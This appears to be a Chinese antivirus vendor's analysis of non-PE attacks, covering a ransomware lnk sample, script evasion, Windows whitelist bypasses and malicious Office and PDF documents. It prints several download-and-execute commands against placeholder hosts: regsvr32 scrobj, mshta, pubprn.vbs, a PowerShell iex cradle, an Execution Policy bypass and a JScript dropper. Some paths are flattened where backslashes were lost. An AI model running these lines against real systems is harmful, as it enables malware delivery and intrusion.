1. 程式人生 > 其它 >淺談非PE的攻擊技巧

淺談非PE的攻擊技巧

背景

近日,金山毒霸安全中心捕獲到一例利用郵件傳播的非PE樣本,型別為lnk快捷方式檔案,執行後會下載勒索病毒,最終會加密使用者機器上的文件、圖片、視訊等重要檔案。

引言

攻擊者,通過社工(社會工程),將郵件傳送到受害者郵箱中,以下是攻擊者傳送來的郵件。

附件即為壓縮後的樣本,解壓之後是一個單獨的lnk檔案,具體資訊如下圖

通過工具分離lnk引數,結果如下:

指向路徑:

 C:Windowssystem32mshta.exe

傳遞引數:

about:<script src='hxxp://neya-***.ru/config.ini'></script>https://mail.ru/ hxxps://google.com / https://yandex.ru"

雙擊執行lnk檔案,%temp%下生成的檔案如下,其中rad96A5F.exe就是勒索病毒,

rad96A5F.exe被執行後,文件、圖片、視訊等重要檔案被加密,同時生成README檔案

這是一個典型的以郵件作為傳播媒介,以非PE檔案作為攻擊載荷的攻擊過程。本文將以該案例為切入點,針對現有的非PE攻擊手法進行分析與總結,內容包括指令碼型別以及文件型別攻擊,下面開始今天的正文。

正文

一、指令碼攻擊

1.JScript,VBScript還是PowerShell?

JScript,由微軟開發的活動指令碼語言,典型指令碼字尾名.js VBScript,基於Visual Basic程式語言的指令碼語言,典型指令碼字尾名稱.vbs PowerShell,可以認為是增強型CMD,典型指令碼字尾名稱.ps1

通過對16年下半年與17年上半年樣本型別進行分析, 其中JScript與VBScript的比例為7:3,以單獨檔案存在的PowerShell攻擊指令碼少之又少,但其在文件攻擊中卻頗為常見。

2.對抗&繞過

2.1 猜猜我是誰

對於殺軟廠商來講,PE檔案型別的識別較為容易,因為它們有固定的格式以及標記,但對於非PE樣本來講,識別檔案型別是一個比較困難的問題,通常有兩種可選方案,各有優缺點,方案a: 字尾識別方案b: 特徵識別對於方案a來講,以js、vbs為例,識別的結果並不可靠,常見對抗方法:

1.將js修改為jse,vbs修改為vbe,當然也可以放在wsf指令碼中 2.無後綴或者其他字尾,通過wscript //e: 或者cscript //e: 方式執行

對於方案b來講,常見對抗方法:

1.指令碼檔案頭部,中間,尾部插入格式控制字元 2.對關鍵程式碼進行編碼,混淆等操作

2.2 優雅抱大腿

白名單機制可以儘可能的減少對正常操作者的誤報情況發生,尤其在一些特定的受限環境中。所以尋找在白名單中的執行體就找到了一個”大腿”。wscript與cscript作為js,vbs指令碼的宿主程序,在大多數情況下這些指令碼都能順利執行,但如果在某些受限環境下,只允許白名單內的指令碼檔案執行,這時就需要一些白名單利用技巧,

2.2.1 regsvr32.exe

regsvr32是一個註冊動態連結庫的命令列工具

命令列方式

 regsvr32 /u /n] dllname

常見利用技巧

 regsvr32 /s /n /u /i:http://XXX/a.sct scrobj.dll

其中sct指令碼指令碼如下

<?XML version="1.0"?><scriptlet><registration progid="a" classid="{10001111-0000-0000-0000-0000FEEDACDC}"> <scriptlanguage="JScript"> <![CDATA[  newActiveXObject("WScript.Shell").Run("calc"); ]]></script></registration></scriptlet>

2.2.2 rundll32.exe

rundll32.exe可以執行DLL檔案,使用方法如下:命令列格式:rundll32.exe , 可以用如下命令列執行JS程式碼

rundll32.exejavascript:"..mshtml,RunHTMLApplication";new%20ActiveXObject("WScript.Shell").Run("calc");window.close();

2.2.3 mshta.exe

mshta.exe作為.hta檔案的宿主程序,其執行js程式碼的命令列方式如下:

mshta.exe"javascript:new%20ActiveXObject("WScript.Shell").Run("calc");window.close()"

2.2.4 GetObject物件注入技術

2017年舉辦於納什維爾的BSides會議上,Casey Smith與Matt Nelson做了一個演講,當中提到了利用GetObject函式繞過受限系統的白名單防護,其中一個利用PubPrn.vbs指令碼(已被微軟簽名),

中文系統位於

C:WindowsSystem32Printing_Admin_Scriptszh-CN

英文系統位於

C:WindowsSystem32Printing_Admin_Scriptsen-US

典型的利用方式如下

cscript /bC:WindowsSystem32Printing_Admin_Scriptszh-CNpubprn.vbs test"script:http://192.168.163.1/aaa.sct"

2.2.5 PowerShell Execution Policy繞過

PowerShell作為增強型CMD,其功能不可不說強大,一個簡單的下載執行程式碼如下:

powershell-nop -c "iex(New-ObjectNet.WebClient).DownloadString('http://xxx/test.ps1')"

但如果遇到要執行本地檔案,則可能遇到Execution Policy而被攔截,

比較流行的繞過方式如下:

方式1

 powershell -nop -execbypass ./runme.ps1

方式2

type ./runme.ps1 |PowerShell.exe -noprofile -

除過上述的繞過方法,當然也存在其他的繞過方式,具體可見此處。

2.3 喜歡裝單純

當然,能夠借用白名單是比較好的,但為了保險起見,指令碼自身也不能過分的表露自身意圖,免的沒有執行,就被直接幹掉。從2016起年高度爆發的通過指令碼進行下載傳播敲詐者的案例數不勝數,一個典型的js下載執行程式碼如下

var oShell = new ActiveXObject("WScript.Shell");var appdir = oShell.ExpandEnvironmentStrings("%temp%")+ "abc.exe";url ="http://ab.cd/e";var xmlHTTP = new ActiveXObject("Microsoft.XMLHTTP");xmlHTTP.open("Get", url, false);xmlHTTP.send();var as = new ActiveXObject("ADODB.Stream");as.Type =1;as.Open();as.write(xmlHTTP.responseBody);as.SaveToFile(appdir, 2);as.Close();oShell.Run(appdir)

通常,惡意指令碼並不會這麼直接,經過簡單的替換、編碼就可以達到躲避靜態特徵分析,當然經過混淆操作能更好的掩蓋自身目的,具體混淆方式,可參考此處。在指令碼行為上,目前的趨勢是“暴露儘可能少的程式碼”,常見的方式是通過2段程式碼分級執行,常見的第2級程式碼獲取方式為聯網下載,或者是從本機環境中進行獲取(如:程序環境,登錄檔,事件日誌),而第2級型別通常為一個PE檔案,而目前對於第2級PE的執行方式,也漸漸從之前的直接允許轉換到延遲執行,如下:通過設定計劃任務方式在開機時執行。

3.Win10 AMSI機制

說點別的,微軟在Win10系統上開放了AMSI(Antimalware Scan Interface)介面,AMSI介面通過掃描檔案,記憶體、資料流、URL、IP等識別惡意行為,號稱能夠讓利用windows內建host指令碼隱藏或混淆的惡意指令碼無所遁形。對於AMSI的具體介紹以及繞過方式可參見此處。

二、文件攻擊

1.關於office文件攻擊

一直以來,MicrosoftOffice 系列都是最流行的文書處理程式,並且Office系列擁有龐大的使用者群體。正因如此,攻擊者同樣也喜歡利用Office系列作為載體。其中在Office系列中Word文件型別尤為突出。研究過程中, 我們觀察到攻擊者經常會通過電子郵件來進行傳播大量包含了惡意文件的電子郵件,郵件內容是精心構造,以便誘導使用者點選。

0x1、巨集安全(惡意巨集程式碼)

抽樣統計顯示,通過執行文件中的巨集程式碼,直接下載惡意程式是目前攻擊者使用的主要方式,使用者開啟文件中招後就會連線遠端下載惡意程式,從而導致使用者計算機中毒,攻擊者使用這種攻擊方式的好處是可以隨時在雲端替換下載檔案,以達到自己想要的目的。

圖:word中內嵌惡意巨集程式碼,遠端下載惡意程式

0x2、word檔案誘導下載

此外,文件中直接捆綁惡意程式比例也較大,該類方式主要是直接將惡意程式捆綁在文件中。

0x3、Office漏洞攻擊

典型的office CVE包含:CVE-2017-0199CVE-2017-8570 CVE-2015-1641CVE-2015-2545CVE-2012-0158

2017年3月爆出新漏洞CVE-2017-0199可謂是目前office漏洞中的No.1,該漏洞利用方法簡單,漏洞影響範圍廣,Windows作業系統之上的所有Office版本,包括在Windows 10上執行的最新Office 2016均受影響,避免這種漏洞文件最直接的方法是及時更新補丁。

CVE-2017-0199 EXP程式中帶惡意URL

2.關於pdf文件攻擊

PDF(行動式檔案格式,Portable Document Format)是由Adobe Systems在1993年用於檔案交換所發展出的檔案格式。因為PDF的檔案格式性質廣泛用於商業辦公,引起眾多攻擊者對其開展技術研究,在一些APT(Advanced Persistent Threat)攻擊中。針對特定目標投遞含有惡意程式碼的PDF文件,安全意識薄弱的使用者只要開啟PDF文件就會中招。

0x0、釋放執行

PDF中是允許包含docm檔案。然後PDF中嵌入javascript程式碼,釋放docm檔案,並執行該檔案

圖:PDF中內嵌word檔案

當選擇開啟文件後,docm檔案將被執行。此時,docm中內嵌的惡意巨集程式碼也相應的被執行

0x1、誘導下載

PDF會偽裝成office 應用下載,當你點選下載後,很可能會是帶有惡意的文件檔案或者是惡意可執行檔案

0x2、漏洞攻擊

adobe Reader、Foxit等pdf閱讀工具的漏洞攻擊也是屢見不鮮,也有攻擊者在pdf中加入惡意的payload進行攻擊

0x3、釣魚攻擊

pdf釣魚攻擊案例:與其他垃圾郵件廣告系列不同,我們在釣魚攻擊中看到的PDF不包含惡意軟體或漏洞利用程式碼。相反,攻擊者會依製作高仿製的釣魚網頁,如果此時你警惕性不高,將會洩露個人的敏感資訊。如下圖點選連結,你將進入一個假的Apple登入頁面,該頁面要求你輸入Apple ID 以及你的密碼資訊。

圖:偽造成APPLE官方的支付協定

說點其他的:

根據金山毒霸網址安全中心提供的資料顯示,2017年虛假購物平臺的釣魚攻擊,呈翻倍增漲趨勢。造成了嚴重的網路交易安全隱患,廣大網民的利益也因此受到了嚴重損害,不法分子利用虛假購物網站直接盜取使用者的支付寶或銀行賬號或者以超低價格設定消費陷阱的山寨購物網站,以低價、打折等吸引買家上當。其危害性之大,不言而喻

三、總結

與PE相比,非PE擁有更多的攻擊方式及技巧。對於防毒軟體廠商而言,檢測與分析也極具挑戰,可以想象彼此的攻防轉換也不會有停止的那一刻,作為防守方,我們要做的還有很多。